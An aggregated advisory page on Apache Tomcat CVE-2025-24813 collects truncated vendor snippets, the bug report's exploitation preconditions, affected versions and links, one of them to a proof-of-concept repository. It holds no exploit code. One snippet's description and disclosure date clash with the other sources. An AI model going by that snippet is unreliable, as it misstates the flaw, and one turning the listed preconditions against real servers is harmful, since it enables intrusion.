CVE-2025-24813 is a critical path equivalence vulnerability in Apache Tomcat, with exploitation attempts by threat actors observed in the wild. The vulnerability allows attackers to execute arbitrary code on vulnerable servers without authentication under specific conditions, potentially leading to system compromise and sensitive data being exposed.
Organizations affected by the configuration required for exploitation should patch CVE-2025-24813 to mitigate potential attacks and protect sensitive data from unauthorized access.
The vulnerability affects Tomcat versions 11.0.0-M1 to 11.0.2, 10.1.0-M1 to 10.1.34, and 9.0.0. M1 to 9.0.98. Additionally, Insikt Group’s analysis found that 8.5.x versions (specifically 8.5.0 to 8.5.98
Greynoiseio
Storm Watch
blogs_greynoiseio
Storm Watch
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Find out immediately if an asset communicates with a malicious IP address
Vulnerability Prioritization Get real-time insight into active exploitation trends to better understand risk and severity
SOC Efficiency Filter out noisy, low priority and false-positive alerts from mass internet scanners
Incident Investigation Add context to incidents to speed the determinations of scope and timelines
Threat Hunting Quickly identify anomalous behavior and enrich your threat hunting campaigns
Why GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Fin
Zscaler
CXO Monthly Roundup, March 2025: AI Security Report, CoffeeLoader analysis, and more | CXO Revolutionaries
blogs_zscaler
CXO Monthly Roundup, March 2025: AI Security Report, CoffeeLoader analysis, and more | CXO Revolutionaries
## CXO Monthly Roundup, March 2025: AI Security Report, CoffeeLoader analysis, and more
Deepen Desai
Contributor
Zscaler
## Apr 1, 2025
The March edition of the CXO Monthly Roundup from Zscaler ThreatLabz.
Welcome to the new CXO Monthly Roundup, an expansion from "CISO" due to the interest in this ongoing series from all technical C-level readers. We feature the latest threat research from the Zscaler ThreatLabz team and other cybersecurity insights.
In this edition, we unpack the highlights from our recent 2025 AI Security Report, which contains relevant insights for the entire enterprise. Plus, read our technical analysis of the CoffeeLoader malware, learn about recently discovered vulnerabilities, and explore emerging threats.
## Zscaler ThreatLabz 2025 AI Security Report: Balan
Recorded Future
H1 2025 Malware and Vulnerability Trends
blogs_recorded_future
H1 2025 Malware and Vulnerability Trends
## H1 2025 Malware and Vulnerability Trends
## Executive Summary
The first half of 2025 (H1 2025) reflected a rapidly evolving threat landscape defined by the convergence of persistent legacy threats and advanced new tactics.
The total disclosed CVEs increased by 16% from H1 2024, and threat actors exploited 161 vulnerabilities with assigned CVEs, with nearly half linked to malware or ransomware campaigns. Microsoft remained the most targeted vendor, while edge security and gateway devices continued to be high-value targets for initial access. Malware activity was similarly dynamic: while law enforcement takedowns disrupted major players like LummaC2, a resurgence of legacy malware such as Sality indicated that old tools still offer utility for modern actors. Remote access trojans (RATs
Greynoiseio
NoiseLetter March 2025
blogs_greynoiseio
NoiseLetter March 2025
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Find out immediately if an asset communicates with a malicious IP address
Vulnerability Prioritization Get real-time insight into active exploitation trends to better understand risk and severity
SOC Efficiency Filter out noisy, low priority and false-positive alerts from mass internet scanners
Incident Investigation Add context to incidents to speed the determinations of scope and timelines
Threat Hunting Quickly identify anomalous behavior and enrich your threat hunting campaigns
Why GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Fin
Zscaler
Your Go-To Threats & Vulnerabilities Resource Hub
blogs_zscaler
Your Go-To Threats & Vulnerabilities Resource Hub
Provide users with seamless, secure, reliable access to applications and data.
Build and run secure cloud apps, enable zero trust cloud connectivity, and protect workloads from data center to cloud.
Provide zero trust connectivity for IoT and OT devices and secure remote access to OT systems.
Provide zero trust site-to-site connectivity and reliable access to B2B apps for partners.
Industry Report
Zscaler: A Leader in the 2025 Gartner® Magic Quadrant™ for Security Service Edge (SSE)
USE CASES
INDUSTRY & MARKET SOLUTIONS
PARTNERS
TECHNOLOGY PARTNERS
Resource Center
Events & Trainings
Security Research & Services
Tools
Community & Support
CXO REVOLUTIONARIES
Amplifying the voices of real-world digital and zero trust pioneers
Discover how it began and where it’s going
Meet o
Recorded Future
Apache Tomcat: CVE-2025-24813: Active Exploitation
blogs_recorded_future·CVSS 9.8
CVE-2025-24813 [CRITICAL] Apache Tomcat: CVE-2025-24813: Active Exploitation
## Apache Tomcat: CVE-2025-24813
## What is CVE-2025-24813?
CVE-2025-24813 is a critical path equivalence vulnerability in Apache Tomcat, with exploitation attempts by threat actors observed in the wild. The vulnerability allows attackers to execute arbitrary code on vulnerable servers without authentication under specific conditions, potentially leading to system compromise and sensitive data being exposed.
Organizations affected by the configuration required for exploitation should patch CVE-2025-24813 to mitigate potential attacks and protect sensitive data from unauthorized access.
The vulnerability affects Tomcat versions 11.0.0-M1 to 11.0.2, 10.1.0-M1 to 10.1.34, and 9.0.0. M1 to 9.0.98. Additionally, Insikt Group’s analysis found that 8.5.x versions (specifically 8.5.0 to 8.5.98
Huntress
CVE-2025-24813 Vulnerability: Analysis, Impact, Mitigation | Huntress
blogs_huntress·CVSS 9.8
CVE-2025-24813 [CRITICAL] CVE-2025-24813 Vulnerability: Analysis, Impact, Mitigation | Huntress
## CVE-2025-24813 Vulnerability
Published: 11/21/2025
Written by: Lizzie Danielson
## What is CVE-2025-24813 vulnerability?
CVE-2025-24813 is a vulnerability classified as a severe Remote Code Execution (RCE) flaw impacting Apache Tomcat servers. It leverages a misconfigured method parameter parsing mechanism, allowing malicious actors to execute unauthorized code. With a CVSS score of 9.8, this vulnerability primarily threatens web applications relying on vulnerable versions of Apache Tomcat, potentially exposing sensitive data or enabling attacker persistence within networks.
## When was it discovered?
CVE-2025-24813 was first disclosed on February 12, 2025, with credits to Apache’s security team for their collaborative mitigation efforts. The vulnerability underwent public disclos
Recorded Future
H1 2025 Malware and Vulnerability Trends
blogs_recorded_future
H1 2025 Malware and Vulnerability Trends
# H1 2025 Malware and Vulnerability Trends
## Executive Summary
The first half of 2025 (H1 2025) reflected a rapidly evolving threat landscape defined by the convergence of persistent legacy threats and advanced new tactics.
The total disclosed CVEs increased by 16% from H1 2024, and threat actors exploited 161 vulnerabilities with assigned CVEs, with nearly half linked to malware or ransomware campaigns. Microsoft remained the most targeted vendor, while edge security and gateway devices continued to be high-value targets for initial access. Malware activity was similarly dynamic: while law enforcement takedowns disrupted major players like LummaC2, a resurgence of legacy malware such as Sality indicated that old tools still offer utility for modern actors. Remote access trojans (RATs)
HackerOne
CVE-2025-24813: Remote Code Execution and/or Information disclosure and/or malicious content added to uploaded files via write enabled Default Servlet
hackerone·2025-04-27·CVSS 9.8
CVE-2025-24813 [CRITICAL] CVE-2025-24813: Remote Code Execution and/or Information disclosure and/or malicious content added to uploaded files via write enabled Default Servlet
CVE-2025-24813: Remote Code Execution and/or Information disclosure and/or malicious content added to uploaded files via write enabled Default Servlet
I am sw0rd1ight.I found an Apache Tomcat RCE vulnerability in tomcat 9.0.98.
If all of the following were true, a malicious user was able to perform remote code execution:
- writes enabled for the default servlet (disabled by default)
- support for partial PUT (enabled by default)
- application was using Tomcat's file based session persistence with the default storage location
- application included a library that may be leveraged in a deserialization attack
I reported this vulnerability through the official Apache Tomcat security email and received a fix along with a CVE number CVE-2025-24813.
this is screenshot of email and ASF response
Bugzilla
CVE-2025-24813 tomcat: Potential RCE and/or information disclosure and/or information corruption with partial PUT
bugzilla·2025-03-10·CVSS 9.8
CVE-2025-24813 [CRITICAL] CVE-2025-24813 tomcat: Potential RCE and/or information disclosure and/or information corruption with partial PUT
CVE-2025-24813 tomcat: Potential RCE and/or information disclosure and/or information corruption with partial PUT
Path Equivalence: 'file.Name' (Internal Dot) leading to Remote Code Execution and/or Information disclosure and/or malicious content added to uploaded files via write enabled Default Servlet in Apache Tomcat.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.2, from 10.1.0-M1 through 10.1.34, from 9.0.0.M1 through 9.0.98.
If all of the following were true, a malicious user was able to view security sensitive files and/or inject content into those files:
- writes enabled for the default servlet (disabled by default)
- support for partial PUT (enabled by default)
- a target URL for security sensitive uploads that was a sub-directory of a target URL for public uploa
arXiv
Advancing LLM-Based Security Automation with Customized Group Relative Policy Optimization for Zero-Touch Networks
arxiv_fulltext·2025-12-10
Advancing LLM-Based Security Automation with Customized Group Relative Policy Optimization for Zero-Touch Networks
Advancing LLM-Based Security Automation with Customized Group Relative Policy Optimization for Zero-Touch Networks
Xinye Cao, Graduate Student Member, IEEE, Yihan Lin, Guoshun Nan, Member, IEEE, Qinchuan Zhou,
Yuhang Luo, Yurui Gao, Zeliang Zhang, Haolang Lu, Qimei Cui, Senior Member, IEEE, \ Hou, Member, IEEE, Xiaofeng Tao, Senior Member, IEEE, Tony Q.S. Quek, Fellow, IEEE
This work was supported in part by the National Natural Science Foundation of China under Grant 62471064; in part by the National Research Foundation, Singapore and Infocomm Media Development Authority under its Communications and Connectivity Bridging Funding Initiative; in part by the Beijing Natural Science Foundation Program (No.L232002); in part by Beijing University of Posts and Telecommunications (BUPT) Excellen
https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgqhttp://www.openwall.com/lists/oss-security/2025/03/10/5https://lists.debian.org/debian-lts-announce/2025/04/msg00003.htmlhttps://security.netapp.com/advisory/ntap-20250321-0001/https://www.vicarius.io/vsociety/posts/cve-2025-24813-detect-apache-tomcat-rcehttps://www.vicarius.io/vsociety/posts/cve-2025-24813-mitigate-apache-tomcat-rcehttps://www.vicarius.io/vsociety/posts/cve-2025-24813-tomcat-detect-vulnerabilityhttps://www.vicarius.io/vsociety/posts/cve-2025-24813-tomcat-mitigation-vulnerabilityhttps://github.com/absholi7ly/POC-CVE-2025-24813/blob/main/README.mdhttps://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-24813
2025-03-10
Published
2025-04-01
Added to CISA KEV
Exploited in the wild